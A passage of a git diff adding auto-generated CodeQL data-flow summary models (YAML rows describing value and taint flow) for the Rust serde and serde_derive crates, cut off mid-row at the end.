"ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Tuple(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeTupleStruct::fields]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::TupleStruct(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeTupleStruct::name]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::TupleStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::ser::content::SerializeTupleVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::ser::content::SerializeTupleVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::CowStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_bool", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_bytes", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_char", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "Argument[self].Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "Argument[self].Field[crate::de::impls::StringInPlaceVisitor(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::BoolDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::BorrowedBytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::BorrowedStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::CharDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Field[crate::de::value::CowStrDeserializer::value].Reference", "ReturnValue.Field[crate::de::value::CowStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::CowStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::EnumAccessDeserializer::access]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::description", "Argument[self].Field[crate::de::value::Error::err]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::F32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::F64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I128Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I16Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I8Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::IsizeDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::MapAccessDeserializer::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::deserialize_any", "Argument[self].Field[crate::de::value::NeverDeserializer::never]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::SeqAccessDeserializer::seq]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::StrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Field[crate::de::value::StringDeserializer::value].Reference", "ReturnValue.Field[crate::de::value::StringDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::StringDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U128Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U16Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U8Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::UsizeDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::format::Buf::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::StringDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::F32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::F64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I128Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I16Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I8Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::IsizeDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U128Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U16Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U8Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::UsizeDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "crate::__private::ser::constrain", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::size_hint::cautious", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::value::private::map_as_enum", "Argument[0]", "ReturnValue.Field[crate::de::value::private::MapAsEnum::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::value::private::unit_only", "Argument[0]", "ReturnValue.Field[0]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml new file mode 100644 index 000000000000..f60417ee9fb4 --- /dev/null +++ b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml @@ -0,0 +1,79 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::as_ref", "Argument[self].Field[crate::fragment::Fragment::Block(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::as_ref", "Argument[self].Field[crate::fragment::Fragment::Expr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::ident]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::ident]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::original]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::get", "Argument[self].Field[crate::internals::attr::Attr::value]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::custom_serde_path", "Argument[self].Field[crate::internals::attr::Container::serde_path].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::de_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::default", "Argument[self].Field[crate::internals::attr::Container::default]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deny_unknown_fields", "Argument[self].Field[crate::internals::attr::Container::deny_unknown_fields]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::expecting", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::identifier", "Argument[self].Field[crate::internals::attr::Container::identifier]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::is_packed", "Argument[self].Field[crate::internals::attr::Container::is_packed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::name", "Argument[self].Field[crate::internals::attr::Container::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::non_exhaustive", "Argument[self].Field[crate::internals::attr::Container::non_exhaustive]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::remote", "Argument[self].Field[crate::internals::attr::Container::remote].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_fields_rules", "Argument[self].Field[crate::internals::attr::Container::rename_all_fields_rules]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_rules", "Argument[self].Field[crate::internals::attr::Container::rename_all_rules]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::ser_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::tag", "Argument[self].Field[crate::internals::attr::Container::tag]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::transparent", "Argument[self].Field[crate::internals::attr::Container::transparent]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::type_from", "Argument[self].Field[crate::internals::attr::Container::type_from].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::type_into", "Argument[self].Field[crate::internals::attr::Container::type_into].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::type_try_from", "Argument[self].Field[crate::internals::attr::Container::type_try_from].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::aliases", "Argument[self].Field[crate::internals::attr::Field::name].Field[crate::internals::name::MultiName::deserialize_aliases]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::borrowed_lifetimes", "Argument[self].Field[crate::internals::attr::Field::borrowed_lifetimes]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::de_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::default", "Argument[self].Field[crate::internals::attr::Field::default]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_with", "Argument[self].Field[crate::internals::attr::Field::deserialize_with].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::flatten", "Argument[self].Field[crate::internals::attr::Field::flatten]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::getter", "Argument[self].Field[crate::internals::attr::Field::getter].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::name", "Argument[self].Field[crate::internals::attr::Field::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::ser_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serialize_with", "Argument[self].Field[crate::internals::attr::Field::serialize_with].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_deserializing", "Argument[self].Field[crate::internals::attr::Field::skip_deserializing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_serializing", "Argument[self].Field[crate::internals::attr::Field::skip_serializing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_serializing_if", "Argument[self].Field[crate::internals::attr::Field::skip_serializing_if].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::transparent", "Argument[self].Field[crate::internals::attr::Field::transparent]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[0].Field[crate::internals::attr::RenameAllRules::deserialize]", "ReturnValue.Field[crate::internals::attr::RenameAllRules::deserialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[0].Field[crate::internals::attr::RenameAllRules::serialize]", "ReturnValue.Field[crate::internals::attr::RenameAllRules::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[self].Field[crate::internals::attr::RenameAllRules::deserialize]", "ReturnValue.Field[crate::internals::attr::RenameAllRules::deserialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[self].Field[crate::internals::attr::RenameAllRules::serialize]", "ReturnValue.Field[crate::internals::attr::RenameAllRules::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::aliases", "Argument[self].Field[crate::internals::attr::Variant::name].Field[crate::internals::name::MultiName::deserialize_aliases]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::de_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_with", "Argument[self].Field[crate::internals::attr::Variant::deserialize_with].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::name", "Argument[self].Field[crate::internals::attr::Variant::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::other", "Argument[self].Field[crate::internals::attr::Variant::other]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_rules", "Argument[self].Field[crate::internals::attr::Variant::rename_all_rules]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::ser_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serialize_with", "Argument[self].Field[crate::internals::attr::Variant::serialize_with].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_deserializing", "Argument[self].Field[crate::internals::attr::Variant::skip_deserializing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_serializing", "Argument[self].Field[crate::internals::attr::Variant::skip_serializing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::untagged", "Argument[self].Field[crate::internals::attr::Variant::untagged]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::get", "Argument[self].Field[crate::internals::attr::VecAttr::values]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::apply_to_variant", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::internals::case::ParseError::unknown]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_aliases", "Argument[self].Field[crate::internals::name::MultiName::deserialize_aliases]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_name", "Argument[self].Field[crate::internals::name::MultiName::deserialize]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0].Reference", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0]", "ReturnValue.Field[crate::internals::name::MultiName::deserialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0]", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[1].Field[crate::internals::attr::Attr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[2].Field[crate::internals::attr::Attr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::internals::name::MultiName::deserialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serialize_name", "Argument[self].Field[crate::internals::name::MultiName::serialize]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from", "Argument[0]", "ReturnValue", 